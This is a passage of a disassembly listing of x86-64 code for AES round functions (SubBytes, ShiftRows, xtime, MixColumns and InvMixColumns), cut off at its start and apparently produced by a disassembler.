    00402aacmovsxd rcx, ecx
    00402aafcdqe
    00402ab1shl rax, 2
    00402ab5add rax, rcx
    00402ab8add rax, rdx
    00402abbmovzx edx, [rax]
    00402abemovzx eax, [rbp-20]
    00402ac2lea ecx, [4*rax]
    00402ac9movzx eax, [rbp-1]
    00402acdadd eax, ecx
    00402acflea ecx, [4*rax]
    00402ad6movzx eax, [rbp-2]
    00402adaadd eax, ecx
    00402adccdqe
    00402adeadd rax, [rbp-40]
    00402ae2movzx eax, [rax]
    00402ae5xor edx, eax
    00402ae7mov rcx, [rbp-32]
    00402aebmovsxd rsi, esi
    00402aeemovsxd rax, edi
    00402af1shl rax, 2
    00402af5add rax, rsi
    00402af8add rax, rcx
    00402afbmov [rax], dl
    00402afdadd [rbp-2], 1
    00402b01
    00402b01loc_402b01:
    00402b01cmp [rbp-2], 3
    00402b05jbe 0x402a98
    00402b07add [rbp-1], 1
    00402b0b
    00402b0bloc_402b0b:
    00402b0bcmp [rbp-1], 3
    00402b0fjbe 0x402a92
    00402b11pop rbp
    00402b12ret
    00402a7b
    00402b13
    00402b13SubBytes:
    00402b13push rbp
    00402b14mov rbp, rsp
    00402b17mov [rbp-24], rdi
    00402b1bmov [rbp-1], 0
    00402b1fjmp 0x402b7d
    00402b21
    00402b21loc_402b21:
    00402b21mov [rbp-2], 0
    00402b25jmp 0x402b73
    00402b27
    00402b27loc_402b27:
    00402b27movzx edi, [rbp-2]
    00402b2bmovzx esi, [rbp-1]
    00402b2fmovzx eax, [rbp-2]
    00402b33movzx ecx, [rbp-1]
    00402b37mov rdx, [rbp-24]
    00402b3bmovsxd rcx, ecx
    00402b3ecdqe
    00402b40shl rax, 2
    00402b44add rax, rcx
    00402b47add rax, rdx
    00402b4amovzx eax, [rax]
    00402b4dmovzx eax, al
    00402b50cdqe
    00402b52movzx edx, [rax+0x40e7e0]
    00402b59mov rcx, [rbp-24]
    00402b5dmovsxd rsi, esi
    00402b60movsxd rax, edi
    00402b63shl rax, 2
    00402b67add rax, rsi
    00402b6aadd rax, rcx
    00402b6dmov [rax], dl
    00402b6fadd [rbp-2], 1
    00402b73
    00402b73loc_402b73:
    00402b73cmp [rbp-2], 3
    00402b77jbe 0x402b27
    00402b79add [rbp-1], 1
    00402b7d
    00402b7dloc_402b7d:
    00402b7dcmp [rbp-1], 3
    00402b81jbe 0x402b21
    00402b83pop rbp
    00402b84ret
    00402b13
    00402b85
    00402b85ShiftRows:
    00402b85push rbp
    00402b86mov rbp, rsp
    00402b89mov [rbp-24], rdi
    00402b8dmov rax, [rbp-24]
    00402b91movzx eax, [rax+1]
    00402b95mov [rbp-1], al
    00402b98mov rax, [rbp-24]
    00402b9cmovzx edx, [rax+5]
    00402ba0mov rax, [rbp-24]
    00402ba4mov [rax+1], dl
    00402ba7mov rax, [rbp-24]
    00402babmovzx edx, [rax+9]
    00402bafmov rax, [rbp-24]
    00402bb3mov [rax+5], dl
    00402bb6mov rax, [rbp-24]
    00402bbamovzx edx, [rax+13]
    00402bbemov rax, [rbp-24]
    00402bc2mov [rax+9], dl
    00402bc5mov rax, [rbp-24]
    00402bc9movzx edx, [rbp-1]
    00402bcdmov [rax+13], dl
    00402bd0mov rax, [rbp-24]
    00402bd4movzx eax, [rax+2]
    00402bd8mov [rbp-1], al
    00402bdbmov rax, [rbp-24]
    00402bdfmovzx edx, [rax+10]
    00402be3mov rax, [rbp-24]
    00402be7mov [rax+2], dl
    00402beamov rax, [rbp-24]
    00402beemovzx edx, [rbp-1]
    00402bf2mov [rax+10], dl
    00402bf5mov rax, [rbp-24]
    00402bf9movzx eax, [rax+6]
    00402bfdmov [rbp-1], al
    00402c00mov rax, [rbp-24]
    00402c04movzx edx, [rax+14]
    00402c08mov rax, [rbp-24]
    00402c0cmov [rax+6], dl
    00402c0fmov rax, [rbp-24]
    00402c13movzx edx, [rbp-1]
    00402c17mov [rax+14], dl
    00402c1amov rax, [rbp-24]
    00402c1emovzx eax, [rax+3]
    00402c22mov [rbp-1], al
    00402c25mov rax, [rbp-24]
    00402c29movzx edx, [rax+15]
    00402c2dmov rax, [rbp-24]
    00402c31mov [rax+3], dl
    00402c34mov rax, [rbp-24]
    00402c38movzx edx, [rax+11]
    00402c3cmov rax, [rbp-24]
    00402c40mov [rax+15], dl
    00402c43mov rax, [rbp-24]
    00402c47movzx edx, [rax+7]
    00402c4bmov rax, [rbp-24]
    00402c4fmov [rax+11], dl
    00402c52mov rax, [rbp-24]
    00402c56movzx edx, [rbp-1]
    00402c5amov [rax+7], dl
    00402c5dpop rbp
    00402c5eret
    00402b85
    00402c5f
    00402c5fxtime:
    00402c5fpush rbp
    00402c60mov rbp, rsp
    00402c63mov eax, edi
    00402c65mov [rbp-4], al
    00402c68movzx eax, [rbp-4]
    00402c6cadd eax, eax
    00402c6emov ecx, eax
    00402c70movzx eax, [rbp-4]
    00402c74mov edx, eax
    00402c76shr dl, 7
    00402c79mov eax, edx
    00402c7badd eax, eax
    00402c7dadd eax, edx
    00402c7flea edx, [8*rax]
    00402c86add eax, edx
    00402c88xor eax, ecx
    00402c8apop rbp
    00402c8bret
    00402c5f
    00402c8c
    00402c8cMixColumns:
    00402c8cpush rbp
    00402c8dmov rbp, rsp
    00402c90sub rsp, 24
    00402c94mov [rbp-24], rdi
    00402c98mov [rbp-1], 0
    00402c9cjmp 0x402e6d
    00402ca1
    00402ca1loc_402ca1:
    00402ca1movzx edx, [rbp-1]
    00402ca5mov rax, [rbp-24]
    00402ca9movsxd rdx, edx
    00402cacmovzx eax, [rax+4*rdx]
    00402cb0mov [rbp-2], al
    00402cb3movzx edx, [rbp-1]
    00402cb7mov rax, [rbp-24]
    00402cbbmovsxd rdx, edx
    00402cbemovzx ecx, [rax+4*rdx]
    00402cc2movzx edx, [rbp-1]
    00402cc6mov rax, [rbp-24]
    00402ccamovsxd rdx, edx
    00402ccdmovzx eax, [rax+4*rdx+1]
    00402cd2xor ecx, eax
    00402cd4movzx edx, [rbp-1]
    00402cd8mov rax, [rbp-24]
    00402cdcmovsxd rdx, edx
    00402cdfmovzx eax, [rax+4*rdx+2]
    00402ce4xor ecx, eax
    00402ce6movzx edx, [rbp-1]
    00402ceamov rax, [rbp-24]
    00402ceemovsxd rdx, edx
    00402cf1movzx eax, [rax+4*rdx+3]
    00402cf6xor eax, ecx
    00402cf8mov [rbp-3], al
    00402cfbmovzx edx, [rbp-1]
    00402cffmov rax, [rbp-24]
    00402d03movsxd rdx, edx
    00402d06movzx ecx, [rax+4*rdx]
    00402d0amovzx edx, [rbp-1]
    00402d0emov rax, [rbp-24]
    00402d12movsxd rdx, edx
    00402d15movzx eax, [rax+4*rdx+1]
    00402d1axor eax, ecx
    00402d1cmov [rbp-4], al
    00402d1fmovzx eax, [rbp-4]
    00402d23mov edi, eax
    00402d25call xtime
    00402d2amov [rbp-4], al
    00402d2dmovzx esi, [rbp-1]
    00402d31movzx edx, [rbp-1]
    00402d35mov rax, [rbp-24]
    00402d39movsxd rdx, edx
    00402d3cmovzx edx, [rax+4*rdx]
    00402d40movzx eax, [rbp-3]
    00402d44movzx ecx, [rbp-4]
    00402d48xor eax, ecx
    00402d4amov ecx, edx
    00402d4cxor ecx, eax
    00402d4emov rax, [rbp-24]
    00402d52movsxd rdx, esi
    00402d55mov [rax+4*rdx], cl
    00402d58movzx edx, [rbp-1]
    00402d5cmov rax, [rbp-24]
    00402d60movsxd rdx, edx
    00402d63movzx ecx, [rax+4*rdx+1]
    00402d68movzx edx, [rbp-1]
    00402d6cmov rax, [rbp-24]
    00402d70movsxd rdx, edx
    00402d73movzx eax, [rax+4*rdx+2]
    00402d78xor eax, ecx
    00402d7amov [rbp-4], al
    00402d7dmovzx eax, [rbp-4]
    00402d81mov edi, eax
    00402d83call xtime
    00402d88mov [rbp-4], al
    00402d8bmovzx esi, [rbp-1]
    00402d8fmovzx edx, [rbp-1]
    00402d93mov rax, [rbp-24]
    00402d97movsxd rdx, edx
    00402d9amovzx edx, [rax+4*rdx+1]
    00402d9fmovzx eax, [rbp-3]
    00402da3movzx ecx, [rbp-4]
    00402da7xor eax, ecx
    00402da9mov ecx, edx
    00402dabxor ecx, eax
    00402dadmov rax, [rbp-24]
    00402db1movsxd rdx, esi
    00402db4mov [rax+4*rdx+1], cl
    00402db8movzx edx, [rbp-1]
    00402dbcmov rax, [rbp-24]
    00402dc0movsxd rdx, edx
    00402dc3movzx ecx, [rax+4*rdx+2]
    00402dc8movzx edx, [rbp-1]
    00402dccmov rax, [rbp-24]
    00402dd0movsxd rdx, edx
    00402dd3movzx eax, [rax+4*rdx+3]
    00402dd8xor eax, ecx
    00402ddamov [rbp-4], al
    00402dddmovzx eax, [rbp-4]
    00402de1mov edi, eax
    00402de3call xtime
    00402de8mov [rbp-4], al
    00402debmovzx esi, [rbp-1]
    00402defmovzx edx, [rbp-1]
    00402df3mov rax, [rbp-24]
    00402df7movsxd rdx, edx
    00402dfamovzx edx, [rax+4*rdx+2]
    00402dffmovzx eax, [rbp-3]
    00402e03movzx ecx, [rbp-4]
    00402e07xor eax, ecx
    00402e09mov ecx, edx
    00402e0bxor ecx, eax
    00402e0dmov rax, [rbp-24]
    00402e11movsxd rdx, esi
    00402e14mov [rax+4*rdx+2], cl
    00402e18movzx edx, [rbp-1]
    00402e1cmov rax, [rbp-24]
    00402e20movsxd rdx, edx
    00402e23movzx eax, [rax+4*rdx+3]
    00402e28xor al, [rbp-2]
    00402e2bmov [rbp-4], al
    00402e2emovzx eax, [rbp-4]
    00402e32mov edi, eax
    00402e34call xtime
    00402e39mov [rbp-4], al
    00402e3cmovzx esi, [rbp-1]
    00402e40movzx edx, [rbp-1]
    00402e44mov rax, [rbp-24]
    00402e48movsxd rdx, edx
    00402e4bmovzx edx, [rax+4*rdx+3]
    00402e50movzx eax, [rbp-3]
    00402e54movzx ecx, [rbp-4]
    00402e58xor eax, ecx
    00402e5amov ecx, edx
    00402e5cxor ecx, eax
    00402e5emov rax, [rbp-24]
    00402e62movsxd rdx, esi
    00402e65mov [rax+4*rdx+3], cl
    00402e69add [rbp-1], 1
    00402e6d
    00402e6dloc_402e6d:
    00402e6dcmp [rbp-1], 3
    00402e71jbe 0x402ca1
    00402e77leave
    00402e78ret
    00402c8c
    00402e79
    00402e79InvMixColumns:
    00402e79push rbp
    00402e7amov rbp, rsp
    00402e7dpush r12
    00402e7fpush rbx
    00402e80sub rsp, 24
    00402e84mov [rbp-40], rdi
    00402e88mov [rbp-20], 0
    00402e8fjmp 0x40369a
    00402e94
    00402e94loc_402e94:
    00402e94mov rax, [rbp-40]
    00402e98mov edx, [rbp-20]
    00402e9bmovsxd rdx, edx
    00402e9emovzx eax, [rax+4*rdx]
    00402ea2mov [rbp-21], al
    00402ea5mov rax, [rbp-40]
    00402ea9mov edx, [rbp-20]
    00402eacmovsxd rdx, edx
    00402eafmovzx eax, [rax+4*rdx+1]
    00402eb4mov [rbp-22], al
    00402eb7mov rax, [rbp-40]
    00402ebbmov edx, [rbp-20]
    00402ebemovsxd rdx, edx
    00402ec1movzx eax, [rax+4*rdx+2]
    00402ec6mov [rbp-23], al
    00402ec9mov rax, [rbp-40]
    00402ecdmov edx, [rbp-20]
    00402ed0movsxd rdx, edx
    00402ed3movzx eax, [rax+4*rdx+3]
    00402ed8mov [rbp-24], al
    00402edbmovzx eax, [rbp-21]
    00402edfmov edi, eax
    00402ee1call xtime
    00402ee6movzx eax, al
    00402ee9mov edi, eax
    00402eebcall xtime
    00402ef0movzx eax, al
    00402ef3mov edi, eax
    00402ef5call xtime
    00402efamovzx eax, al
    00402efdmov edi, eax
    00402effcall xtime
    00402f04movzx eax, [rbp-22]
    00402f08mov edi, eax
    00402f0acall xtime
    00402f0fmovzx eax, al
    00402f12mov edi, eax
    00402f14call xtime
    00402f19movzx eax, [rbp-22]
    00402f1dmov edi, eax
    00402f1fcall xtime
    00402f24movzx eax, al
    00402f27mov edi, eax
    00402f29call xtime
    00402f2emovzx eax, al
    00402f31mov edi, eax
    00402f33call xtime
    00402f38movzx eax, al
    00402f3bmov edi, eax
    00402f3dcall xtime
    00402f42movzx eax, [rbp-23]
    00402f46mov edi, eax
    00402f48call xtime
    00402f4dmovzx eax, [rbp-23]
    00402f51mov edi, eax
    00402f53call xtime
    00402f58movzx eax, al
    00402f5bmov edi, eax
    00402f5dcall xtime
    00402f62movzx eax, al
    00402f65mov edi, eax
    00402f67call xtime
    00402f6cmovzx eax, al
    00402f6fmov edi, eax
    00402f71call xtime
    00402f76movzx eax, [rbp-24]
    00402f7amov edi, eax
    00402f7ccall xtime
    00402f81movzx eax, [rbp-24]
    00402f85mov edi, eax
    00402f87call xtime
    00402f8cmovzx eax, al
    00402f8fmov edi, eax
    00402f91call xtime
    00402f96movzx eax, [rbp-24]
    00402f9amov edi, eax
    00402f9ccall xtime
    00402fa1movzx eax, al
    00402fa4mov edi, eax
    00402fa6call xtime
    00402fabmovzx eax, al
    00402faemov edi, eax
    00402fb0call xtime
    00402fb5movzx eax, al
    00402fb8mov edi, eax
    00402fbacall xtime
    00402fbfmovzx eax, [rbp-21]
    00402fc3mov edi, eax
    00402fc5call xtime
    00402fcamovzx ebx, al
    00402fcdmovzx eax, [rbp-21]
    00402fd1mov edi, eax
    00402fd3call xtime
    00402fd8movzx eax, al
    00402fdbmov edi, eax
    00402fddcall xtime
    00402fe2movzx eax, al
    00402fe5xor ebx, eax
    00402fe7movzx eax, [rbp-21]
    00402febmov edi, eax
    00402fedcall xtime
    00402ff2movzx eax, al
    00402ff5mov edi, eax
    00402ff7call xtime
    00402ffcmovzx eax, al
    00402fffmov edi, eax
    00403001call xtime
    00403006movzx eax, al
    00403009mov r12l, ebx
    0040300cxor r12l, eax
    0040300fmovzx ebx, [rbp-22]
    00403013movzx eax, [rbp-22]
    00403017mov edi, eax
    00403019call xtime
    0040301emovzx eax, al
    00403021xor ebx, eax
    00403023movzx eax, [rbp-22]
    00403027mov edi, eax
    00403029call xtime
    0040302emovzx eax, al
    00403031mov edi, eax
    00403033call xtime
    00403038movzx eax, al
    0040303bmov edi, eax
    0040303dcall xtime
    00403042movzx eax, al
    00403045xor eax, ebx
    00403047xor r12l, eax
    0040304amovzx ebx, [rbp-23]
    0040304emovzx eax, [rbp-23]
    00403052mov edi, eax
    00403054call xtime
    00403059movzx eax, al
    0040305cmov edi, eax
    0040305ecall xtime
    00403063movzx eax, al
    00403066xor ebx, eax
    00403068movzx eax, [rbp-23]
    0040306cmov edi, eax
    0040306ecall xtime
    00403073movzx eax, al
    00403076mov edi, eax
    00403078call xtime
    0040307dmovzx eax, al
    00403080mov edi, eax
    00403082call xtime
    00403087movzx eax, al
    0040308axor eax, ebx
    0040308cxor r12l, eax
    0040308fmovzx ebx, [rbp-24]
    00403093movzx eax, [rbp-24]
    00403097mov edi, eax
    00403099call xtime
    0040309emovzx eax, al
    004030a1mov edi, eax
    004030a3call xtime
    004030a8movzx eax, al
    004030abmov edi, eax
    004030adcall xtime
    004030b2movzx eax, al
    004030b5xor eax, ebx
    004030b7xor eax, r12l
    004030bamov ecx, eax
    004030bcmov rax, [rbp-40]
    004030c0mov edx, [rbp-20]
    004030c3movsxd rdx, edx
    004030c6mov [rax+4*rdx], cl
    004030c9movzx eax, [rbp-21]
    004030cdmov edi, eax
    004030cfcall xtime
    004030d4movzx eax, [rbp-21]
    004030d8mov edi, eax
    004030dacall xtime
    004030dfmovzx eax, al
    004030e2mov edi, eax
    004030e4call xtime
    004030e9movzx eax, [rbp-21]
    004030edmov edi, eax
    004030efcall xtime
    004030f4movzx eax, al
    004030f7mov edi, eax
    004030f9call xtime
    004030femovzx eax, al
    00403101mov edi, eax
    00403103call xtime
    00403108movzx eax, al
    0040310bmov edi, eax
    0040310dcall xtime
    00403112movzx eax, [rbp-22]
    00403116mov edi, eax
    00403118call xtime
    0040311dmovzx eax, al
    00403120mov edi, eax
    00403122call xtime
    00403127movzx eax, al
    0040312amov edi, eax
    0040312ccall xtime
    00403131movzx eax, al
    00403134mov edi, eax
    00403136call xtime
    0040313bmovzx eax, [rbp-23]
    0040313fmov edi, eax
    00403141call xtime
    00403146movzx eax, al
    00403149mov edi, eax
    0040314bcall xtime
    00403150movzx eax, [rbp-23]
    00403154mov edi, eax
    00403156call xtime
    0040315bmovzx eax, al
    0040315emov edi, eax
    00403160call xtime
    00403165movzx eax, al
    00403168mov edi, eax
    0040316acall xtime
    0040316fmovzx eax, al
    00403172mov edi, eax
    00403174call xtime
    00403179movzx eax, [rbp-24]
    0040317dmov edi, eax
    0040317fcall xtime
    00403184movzx eax, [rbp-24]
    00403188mov edi, eax
    0040318acall xtime
    0040318fmovzx eax, al
    00403192mov edi, eax
    00403194call xtime
    00403199movzx eax, al
    0040319cmov edi, eax
    0040319ecall xtime
    004031a3movzx eax, al
    004031a6mov edi, eax
    004031a8call xtime
    004031admovzx ebx, [rbp-21]
    004031b1movzx eax, [rbp-21]
    004031b5mov edi, eax
    004031b7call xtime
    004031bcmovzx eax, al
    004031bfmov edi, eax
    004031c1call xtime
    004031c6movzx eax, al
    004031c9mov edi, eax
    004031cbcall xtime
    004031d0movzx eax, al
    004031d3mov r12l, ebx
    004031d6xor r12l, eax
    004031d9movzx eax, [rbp-22]
    004031ddmov edi, eax
    004031dfcall xtime
    004031e4movzx ebx, al
    004031e7movzx eax, [rbp-22]
    004031ebmov edi, eax
    004031edcall xtime
    004031f2movzx eax, al
    004031f5mov edi, eax
    004031f7call xtime
    004031fcmovzx eax, al
    004031ffxor ebx, eax
    00403201movzx eax, [rbp-22]
    00403205mov edi, eax
    00403207call xtime
    0040320cmovzx eax, al
    0040320fmov edi, eax
    00403211call xtime
    00403216movzx eax, al
    00403219mov edi, eax
    0040321bcall xtime
    00403220movzx eax, al
    00403223xor eax, ebx
    00403225xor r12l, eax
    00403228movzx ebx, [rbp-23]
    0040322cmovzx eax, [rbp-23]
    00403230mov edi, eax
    00403232call xtime
    00403237movzx eax, al
    0040323axor ebx, eax
    0040323cmovzx eax, [rbp-23]
    00403240mov edi, eax
    00403242call xtime
    00403247movzx eax, al
    0040324amov edi, eax
    0040324ccall xtime
    00403251movzx eax, al
    00403254mov edi, eax
    00403256call xtime
    0040325bmovzx eax, al
    0040325exor eax, ebx
    00403260xor r12l, eax
    00403263movzx ebx, [rbp-24]
    00403267movzx eax, [rbp-24]
    0040326bmov edi, eax
    0040326dcall xtime
    00403272movzx eax, al
    00403275mov edi, eax
    00403277call xtime
    0040327cmovzx eax, al
    0040327fxor ebx, eax
    00403281movzx eax, [rbp-24]
    00403285mov edi, eax
    00403287call xtime
    0040328cmovzx eax, al
    0040328fmov edi, eax
    00403291call xtime
    00403296movzx eax, al
    00403299mov edi, eax
    0040329bcall xtime
    004032a0movzx eax, al
    004032a3xor eax, ebx
    004032a5xor eax, r12l
    004032a8mov ecx, eax
    004032aamov rax, [rbp-40]
    004032aemov edx, [rbp-20]
    004032b1movsxd rdx, edx
    004032b4mov [rax+4*rdx+1], cl
    004032b8movzx eax, [rbp-21]
    004032bcmov edi, eax
    004032becall xtime
    004032c3movzx eax, [rbp-21]
    004032c7mov edi, eax
    004032c9call xtime
    004032cemovzx eax, al
    004032d1mov edi, eax
    004032d3call xtime
    004032d8movzx eax, al
    004032dbmov edi, eax
    004032ddcall xtime
    004032e2movzx eax, al
    004032e5mov edi, eax
    004032e7call xtime
    004032ecmovzx eax, [rbp-22]
    004032f0mov edi, eax
    004032f2call xtime
    004032f7movzx eax, [rbp-22]
    004032fbmov edi, eax
    004032fdcall xtime
    00403302movzx eax, al
    00403305mov edi, eax
    00403307call xtime
    0040330cmovzx eax, [rbp-22]
    00403310mov edi, eax
    00403312call xtime
    00403317movzx eax, al
    0040331amov edi, eax
    0040331ccall xtime
    00403321movzx eax, al
    00403324mov edi, eax
    00403326call xtime
    0040332bmovzx eax, al
    0040332emov edi, eax
    00403330call xtime
    00403335movzx eax, [rbp-23]
    00403339mov edi, eax
    0040333bcall xtime
    00403340movzx eax, al
    00403343mov edi, eax
    00403345call xtime
    0040334amovzx eax, al
    0040334dmov edi, eax
    0040334fcall xtime
    00403354movzx eax, al
    00403357mov edi, eax
    00403359call xtime
    0040335emovzx eax, [rbp-24]
    00403362mov edi, eax
    00403364call xtime
    00403369movzx eax, al
    0040336cmov edi, eax
    0040336ecall xtime
    00403373movzx eax, [rbp-24]
    00403377mov edi, eax
    00403379call xtime
    0040337emovzx eax, al
    00403381mov edi, eax
    00403383call xtime
    00403388movzx eax, al
    0040338bmov edi, eax
    0040338dcall xtime
    00403392movzx eax, al
    00403395mov edi, eax
    00403397call xtime
    0040339cmovzx ebx, [rbp-21]
    004033a0movzx eax, [rbp-21]
    004033a4mov edi, eax
    004033a6call xtime
    004033abmovzx eax, al
    004033aemov edi, eax
    004033b0call xtime
    004033b5movzx eax, al
    004033b8xor ebx, eax
    004033bamovzx eax, [rbp-21]
    004033bemov edi, eax
    004033c0call xtime
    004033c5movzx eax, al
    004033c8mov edi, eax
    004033cacall xtime
    004033cfmovzx eax, al
    004033d2mov edi, eax
    004033d4call xtime
    004033d9movzx eax, al
    004033dcmov r12l, ebx
    004033dfxor r12l, eax
    004033e2movzx ebx, [rbp-22]
    004033e6movzx eax, [rbp-22]
    004033eamov edi, eax
    004033eccall xtime
    004033f1movzx eax, al
    004033f4mov edi, eax
    004033f6call xtime
    004033fbmovzx eax, al
    004033femov edi, eax
    00403400call xtime
    00403405movzx eax, al
    00403408xor eax, ebx
    0040340axor r12l, eax
    0040340dmovzx eax, [rbp-23]
    00403411mov edi, eax
    00403413call xtime
    00403418movzx ebx, al
    0040341bmovzx eax, [rbp-23]
    0040341fmov edi, eax
    00403421call xtime
    00403426movzx eax, al
    00403429mov edi, eax
    0040342bcall xtime
    00403430movzx eax, al
    00403433xor ebx, eax
    00403435movzx eax, [rbp-23]
    00403439mov edi, eax
    0040343bcall xtime
    00403440movzx eax, al
    00403443mov edi, eax
    00403445call xtime
    0040344amovzx eax, al
    0040344dmov edi, eax
    0040344fcall xtime
    00403454movzx eax, al
    00403457xor eax, ebx
    00403459xor r12l, eax
    0040345cmovzx ebx, [rbp-24]
    00403460movzx eax, [rbp-24]
    00403464mov edi, eax
    00403466call xtime
    0040346bmovzx eax, al
    0040346exor ebx, eax
    00403470movzx eax, [rbp-24]
    00403474mov edi, eax
    00403476call xtime
    0040347bmovzx eax, al
    0040347emov edi, eax
    00403480call xtime
    00403485movzx eax, al
    00403488mov edi, eax
    0040348acall xtime
    0040348fmovzx eax, al
    00403492xor eax, ebx
    00403494xor eax, r12l
    00403497mov ecx, eax
    00403499mov rax, [rbp-40]
    0040349dmov edx, [rbp-20]
    004034a0movsxd rdx, edx
    004034a3mov [rax+4*rdx+2], cl
    004034a7movzx eax, [rbp-21]
    004034abmov edi, eax
    004034adcall xtime
    004034b2movzx eax, al
    004034b5mov edi, eax
    004034b7call xtime
    004034bcmovzx eax, [rbp-21]
    004034c0mov edi, eax
    004034c2call xtime
    004034c7movzx eax, al
    004034camov edi, eax
    004034cccall xtime
    004034d1movzx eax, al
    004034d4mov edi, eax
    004034d6call xtime
    004034dbmovzx eax, al
    004034demov edi, eax
    004034e0call xtime
    004034e5movzx eax, [rbp-22]
    004034e9mov edi, eax
    004034ebcall xtime
    004034f0movzx eax, [rbp-22]
    004034f4mov edi, eax
    004034f6call xtime
    004034fbmovzx eax, al
    004034femov edi, eax
    00403500call xtime
    00403505movzx eax, al
    00403508mov edi, eax
    0040350acall xtime
    0040350fmovzx eax, al
    00403512mov edi, eax
    00403514call xtime
    00403519movzx eax, [rbp-23]
    0040351dmov edi, eax
    0040351fcall xtime
    00403524movzx eax, [rbp-23]
    00403528mov edi, eax
    0040352acall xtime
    0040352fmovzx eax, al
    00403532mov edi, eax
    00403534call xtime
    00403539movzx eax, [rbp-23]
    0040353dmov edi, eax
    0040353fcall xtime
    00403544movzx eax, al
    00403547mov edi, eax
    00403549call xtime
    0040354emovzx eax, al
    00403551mov edi, eax
    00403553call xtime
    00403558movzx eax, al
    0040355bmov edi, eax
    0040355dcall xtime
    00403562movzx eax, [rbp-24]
    00403566mov edi, eax
    00403568call xtime
    0040356dmovzx eax, al
    00403570mov edi, eax
    00403572call xtime
    00403577movzx eax, al
    0040357amov edi, eax
    0040357ccall xtime
    00403581movzx eax, al
    00403584mov edi, eax
    00403586call xtime
    0040358bmovzx ebx, [rbp-21]
    0040358fmovzx eax, [rbp-21]
    00403593mov edi, eax
    00403595call xtime
    0040359amovzx eax, al
    0040359dxor ebx, eax
    0040359fmovzx eax, [rbp-21]
    004035a3mov edi, eax
    004035a5call xtime
    004035aamovzx eax, al
    004035admov edi, eax
    004035afcall xtime
    004035b4movzx eax, al
    004035b7mov edi, eax
    004035b9call xtime
    004035bemovzx eax, al
    004035c1mov r12l, ebx
    004035c4xor r12l, eax
    004035c7movzx ebx, [rbp-22]
    004035cbmovzx eax, [rbp-22]
    004035cfmov edi, eax
    004035d1call xtime
    004035d6movzx eax, al
    004035d9mov edi, eax
    004035dbcall xtime
    004035e0movzx eax, al
    004035e3xor ebx, eax
    004035e5movzx eax, [rbp-22]
    004035e9mov edi, eax
    004035ebcall xtime
    004035f0movzx eax, al
    004035f3mov edi, eax
    004035f5call xtime
    004035famovzx eax, al
    004035fdmov edi, eax
    004035ffcall xtime
    00403604movzx eax, al
    00403607xor eax, ebx
    00403609xor r12l, eax
    0040360cmovzx ebx, [rbp-23]
    00403610movzx eax, [rbp-23]
    00403614mov edi, eax
    00403616call xtime
    0040361bmovzx eax, al
    0040361emov edi, eax
    00403620call xtime
    00403625movzx eax, al
    00403628mov edi, eax
    0040362acall xtime
    0040362fmovzx eax, al
    00403632xor eax, ebx
    00403634xor r12l, eax
    00403637movzx eax, [rbp-24]
    0040363bmov edi, eax
    0040363dcall xtime
    00403642movzx ebx, al
    00403645movzx eax, [rbp-24]
    00403649mov edi, eax
    0040364bcall xtime
    00403650movzx eax, al
    00403653mov edi, eax
    00403655call xtime
    0040365amovzx eax, al
    0040365dxor ebx, eax
    0040365fmovzx eax, [rbp-24]
    00403663mov edi, eax
    00403665call xtime
    0040366amovzx eax, al
    0040366dmov edi, eax
    0040366fcall xtime
    00403674movzx eax, al
    00403677mov edi, eax
    00403679call xtime
    0040367emovzx eax, al
    00403681xor eax, ebx
    00403683xor eax, r12l
    00403686mov ecx, eax
    00403688mov rax, [rbp-40]
    0040368cmov edx, [rbp-20]
    0040368fmovsxd rdx, edx
    00403692mov [rax+4*rdx+3], cl
    00403696add [rbp-20], 1
    0040369a
    0040369aloc_40369a:
    0040369acmp [rbp-20], 3
    0040369ejle 0x402e94
    004036a4add rsp, 24
    004036a8pop rbx
    004036a9pop r12
    004036abpop rbp
    004036acret
    00402e79